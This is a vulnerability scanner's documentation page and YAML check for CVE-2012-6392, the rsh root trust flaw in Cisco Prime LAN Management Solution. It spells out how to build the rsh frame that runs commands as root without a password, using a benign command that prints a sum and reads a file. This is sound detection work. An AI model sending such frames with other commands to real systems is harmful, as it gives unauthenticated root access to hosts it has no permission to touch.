Cisco Prime Lms — 1 vulnerability check

noctis ships 1 vulnerability check for Cisco Prime Lms, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cisco Prime LAN Management Solution rsh root command execution

CVECVE-2012-6392
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicesshell, rsh
Detectionset_var, script, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/cisco-prime-lms/CVE-2012-6392.yaml

Cisco Prime LAN Management Solution 4.1 to 4.2.2 on its Linux virtual appliance runs an rsh service (514/tcp) that trusts the remote root user, so anyone on the network can run commands as root without a password. The test connects from a reserved source port, as rsh clients do, and asks the service to run, as root, a command that prints the sum of two random numbers and the LMS install record /opt/CSCOpx/setup/lms.info. The finding is reported when the service accepts the request and returns both the computed sum and the "LAN Management Solution" product record. An rsh service that runs the command but is not LMS is reported as root command execution without a CVE. The command only prints text; nothing is changed on the target. The scanner needs the right to bind ports below 1024 (root or CAP_NET_BIND_SERVICE), otherwise rsh services refuse the connection and nothing is reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Opens a persistent TCP/TLS socket
  6. Sends a binary frame on the open socket
  7. Parses / computes the next value with a Rhai script
  8. Sends … on the open socket
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Parses / computes the next value with a Rhai script
  13. Checks rsh_out for LAN Management Solution → finding QoD 97: Cisco Prime LAN Management Solution rsh root command execution (CVE-2012-6392)
  14. Checks rsh_out for NOCTIS[0-9]+END → finding QoD 97: rsh service runs commands as root without password

References:

Feed source — tests/vulnerabilities/cisco-prime-lms/CVE-2012-6392.yaml
# Cisco Prime LAN Management Solution 4.1–4.2.2 (Linux virtual appliance) —
# rshd trusts remote root: unauthenticated command execution as root
# (CVE-2012-6392, Cisco bug CSCuc79779, cisco-sa-20130109-lms).
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_cisco_prime_lms_rce_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.901215, GPL-2.0-only): from a privileged source
# port, send the rsh frames "0\0root\0root\0cat /opt/CSCOpx/setup/lms.info\0"
# and flag the host when the reply contains "LAN Management Solution".
#
# Deviations from the NASL (stronger detection, documented in the PR):
#   * The command also echoes NOCTIS$((a+b))END with random a/b: only a shell
#     that really ran the command prints the sum, which never appears in what
#     we send — a honeypot or banner that returns a canned LMS text no longer
#     counts.
#   * The reply must start with rshd's NUL status byte (an early 0x01 refusal
#     never counts). A real netkit in.rshd also sends NUL before a failed
#     PAM check ("\0Authentication failure"), so the computed sum, not the
#     status byte, is what proves execution.
#   * A Linux rshd that runs root's commands but is not LMS (no lms.info) is
#     reported too, without the CVE: same impact, different cause.
#   * The reply is read a second time unless the first read already holds
#     the whole proof (rshd can answer after the first 500 ms read window, or
#     send its status byte before the shell output).
#
# Engine: rshd only serves clients bound to a reserved source port (512-1023);
# `reserved_source_port: true` on tcp_open does what the NASL's
# open_priv_sock_tcp() does. It needs root or CAP_NET_BIND_SERVICE in the
# scanner; without it the connection comes from an ephemeral port, a real
# rshd drops it and the feed reports nothing (no false positive).
#
# Benign: the command only prints a sum and reads the LMS install record;
# nothing is written. category: rce (it runs a command on the target).
uid: 04760a5f-2024-45d6-8e3d-9372dc73683c
name: "Cisco Prime LAN Management Solution rsh root command execution (CVE-2012-6392)"
description: |
  Cisco Prime LAN Management Solution 4.1 to 4.2.2 on its Linux virtual
  appliance runs an rsh service (514/tcp) that trusts the remote root user, so
  anyone on the network can run commands as root without a password. The test
  connects from a reserved source port, as rsh clients do, and asks the service
  to run, as root, a command that prints the sum of two random numbers and the
  LMS install record /opt/CSCOpx/setup/lms.info. The finding is reported when
  the service accepts the request and returns both the computed sum and the
  "LAN Management Solution" product record. An rsh service that runs the
  command but is not LMS is reported as root command execution without a CVE.
  The command only prints text; nothing is changed on the target. The scanner
  needs the right to bind ports below 1024 (root or CAP_NET_BIND_SERVICE),
  otherwise rsh services refuse the connection and nothing is reported.
cves: [CVE-2012-6392]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.20
tags: [cisco, prime-lms, lms, rsh, rce, intrusive]
services: [shell, rsh]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6392"
  - "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130109-lms"

steps:
  # ---------------------------------------------------------------- set-up
  - id: init-out
    action: set_var
    var_name: rsh_out
    var_value: ""

  - id: init-accepted
    action: set_var
    var_name: accepted
    var_value: false

  - id: init-exec
    action: set_var
    var_name: exec_ok
    var_value: false

  - id: init-lms
    action: set_var
    var_name: lms_ok
    var_value: false

  - id: init-r1-done
    action: set_var
    var_name: r1_done
    var_value: false

  - id: init-r2
    action: set_var
    var_name: r2
    var_value: {response: ""}

  - id: rand-a
    action: script
    store_as: num_a
    code: "rand_int(100000, 899999)"

  - id: rand-b
    action: script
    store_as: num_b
    code: "rand_int(100000, 899999)"

  - id: marker
    action: script
    store_as: marker
    code: "\"NOCTIS\" + (num_a + num_b) + \"END\""

  # rsh frames: stderr port "0" (no second channel), local user, remote user,
  # command — each NUL-terminated.
  - id: frame
    action: script
    store_as: frame_hex
    code: |
      let cmd = "echo NOCTIS$((" + num_a + "+" + num_b + "))END; cat /opt/CSCOpx/setup/lms.info";
      "3000" + hexstr("root") + "00" + hexstr("root") + "00" + hexstr(cmd) + "00"

  # ------------------------------------------------------------- exchange
  - id: open
    action: tcp_open
    handle: rsh
    port: "{{port}}"
    tls: false
    reserved_source_port: true
    timeout_secs: 10
    store_as: conn

  - id: send-cmd
    action: tcp_send
    handle: rsh
    condition: "conn.connected == true"
    send_hex: "{{frame_hex}}"
    timeout_secs: 10
    store_as: r1

  # The first read ends after 500 ms of silence. rshd may answer later (reverse
  # DNS + rhosts/PAM before its status byte) or send its status byte before
  # the output: unless the full proof is already there, wait and read again.
  - id: first-complete
    action: script
    condition: "conn.connected == true"
    store_as: r1_done
    code: |
      type_of(r1.response) == "string" && strstr(r1.response, marker) != "" && strstr(r1.response, "LAN Management Solution") != ""

  - id: wait-output
    action: sleep
    condition: "conn.connected == true && r1_done == false"
    duration_ms: 2000

  - id: read-more
    action: tcp_send
    handle: rsh
    condition: "conn.connected == true && r1_done == false"
    send: ""
    timeout_secs: 10
    store_as: r2

  - id: close
    action: tcp_close
    handle: rsh

  # -------------------------------------------------------------- analysis
  # rshd's status byte: first byte of the first non-empty reply.
  - id: check-accepted
    action: script
    condition: "conn.connected == true"
    store_as: accepted
    code: |
      let h = "";
      if type_of(r1.response_hex) == "string" && r1.response_hex != "" { h = r1.response_hex; }
      else if type_of(r2.response_hex) == "string" { h = r2.response_hex; }
      substr(h, 0, 1) == "00"

  - id: collect
    action: script
    condition: "accepted == true"
    store_as: rsh_out
    code: |
      let out = "";
      if type_of(r1.response) == "string" { out += r1.response; }
      if type_of(r2.response) == "string" { out += "\n" + r2.response; }
      out.replace("\u0000", "");
      out

  - id: check-exec
    action: script
    condition: "accepted == true"
    store_as: exec_ok
    code: |
      strstr(rsh_out, marker) != ""

  - id: check-lms
    action: script
    condition: "exec_ok == true"
    store_as: lms_ok
    code: |
      strstr(rsh_out, "LAN Management Solution") != ""

  # ---------------------------------------------------------------- findings
  - id: finding-lms
    action: match
    source: rsh_out
    pattern: "LAN Management Solution"
    condition: "exec_ok == true && lms_ok == true"
    on_match:
      finding:
        title: "Cisco Prime LAN Management Solution rsh root command execution (CVE-2012-6392)"
        description: "The rsh service accepted a command for the remote user root without any password, printed the sum the scanner asked for and returned the Cisco Prime LAN Management Solution install record /opt/CSCOpx/setup/lms.info."
        remediation: "Upgrade Cisco Prime LAN Management Solution to 4.2.3 or later, or apply the CSCuc79779 patch from cisco-sa-20130109-lms. Until then, block 514/tcp to the appliance."
        confidence_delta: 0.75
        qod: 97
        evidence: "rsh (source port {{conn.local_port}}) ran 'echo NOCTIS$((a+b))END; cat /opt/CSCOpx/setup/lms.info' as root, output: {{rsh_out}}"
      stop: true

  - id: finding-root-exec
    action: match
    source: rsh_out
    pattern: "NOCTIS[0-9]+END"
    condition: "exec_ok == true && lms_ok == false"
    on_match:
      finding:
        title: "rsh service runs commands as root without password"
        description: "The rsh service accepted a command for the remote user root without any password and printed the sum the scanner asked for. The host is not identified as Cisco Prime LAN Management Solution (no LMS install record)."
        remediation: "Disable the rsh service (rshd / in.rshd) and use SSH instead. If it must stay, remove '+' and root entries from /etc/hosts.equiv and /root/.rhosts and block 514/tcp from untrusted networks."
        cves: []
        confidence_delta: 0.75
        qod: 97
        evidence: "rsh (source port {{conn.local_port}}) ran 'echo NOCTIS$((a+b))END' as root, output: {{rsh_out}}"

View these feeds on GitHub